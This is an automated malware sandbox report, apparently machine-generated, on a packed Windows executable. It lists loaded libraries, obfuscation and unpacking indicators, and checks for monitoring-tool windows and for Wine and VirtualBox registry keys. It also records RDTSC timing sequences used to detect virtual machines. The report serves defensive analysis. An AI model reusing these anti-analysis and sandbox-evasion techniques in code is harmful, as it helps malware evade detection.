Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: file.exe

Static file information: File size 3019264 > 1048576

Source: file.exe

Static PE information: Raw size of olqshizd is bigger than: 0x100000 < 0x2b7a00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.980000.0.unpack :EW;.rsrc :W;.idata :W;olqshizd:EW;fkdtcrjk:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;olqshizd:EW;fkdtcrjk:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x2ece5a should be: 0x2eb0bc

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: olqshizd
Source: file.exe	Static PE information: section name: fkdtcrjk
Source: file.exe	Static PE information: section name: .taggant

Source: file.exe

Static PE information: section name: entropy: 7.982457602769494

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A197 second address: B6A1A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE589802EFCh 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A1A8 second address: B6A1AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A1AE second address: B6A1B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A1B4 second address: B6A1B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A1B8 second address: B6A1BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A440 second address: B6A446 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A446 second address: B6A44C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A6CF second address: B6A6D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A99C second address: B6A9A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A9A0 second address: B6A9E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE589276561h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jns 00007FE58927655Ch 0x00000011 popad 0x00000012 push ecx 0x00000013 push edi 0x00000014 jg 00007FE589276556h 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FE589276564h 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6A9E5 second address: B6A9E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D6D1 second address: B6D6D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D6D5 second address: B6D6E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 js 00007FE589802EF6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D83F second address: B6D843 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D945 second address: B6D961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE589802F07h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D961 second address: B6D97F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE58927655Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FE589276556h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6D97F second address: B6D985 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6DA62 second address: B6DA9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 jmp 00007FE589276560h 0x0000000d mov edx, edi 0x0000000f push 00000000h 0x00000011 jno 00007FE589276561h 0x00000017 push D88956BDh 0x0000001c push eax 0x0000001d push edx 0x0000001e ja 00007FE589276558h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8D3BA second address: B8D3BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BE51 second address: B4BE6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 push edi 0x0000000a jmp 00007FE58927655Fh 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BE6F second address: B4BE79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FE589802EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4BE79 second address: B4BE7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8B7CC second address: B8B7D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8458E second address: B845A2 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FE589276556h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FE58927655Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B845A2 second address: B845A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8CC1B second address: B8CC35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 jmp 00007FE589276561h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B90FB6 second address: B90FBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D93B second address: B4D93F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D93F second address: B4D943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B4D943 second address: B4D950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9348D second address: B934A1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FE589802EF8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B934A1 second address: B934A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B91E44 second address: B91E4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B91E4A second address: B91E4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B938CA second address: B938CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9844C second address: B98490 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FE589276566h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e js 00007FE589276556h 0x00000014 jmp 00007FE58927655Bh 0x00000019 jmp 00007FE589276560h 0x0000001e popad 0x0000001f push edi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B98490 second address: B98496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B98496 second address: B9849B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9849B second address: B984A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B984A0 second address: B984A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B65377 second address: B6537C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B6537C second address: B65386 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FE589276562h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B9799A second address: B979A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B97AE2 second address: B97B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jno 00007FE589276568h 0x0000000b pushad 0x0000000c jmp 00007FE589276563h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
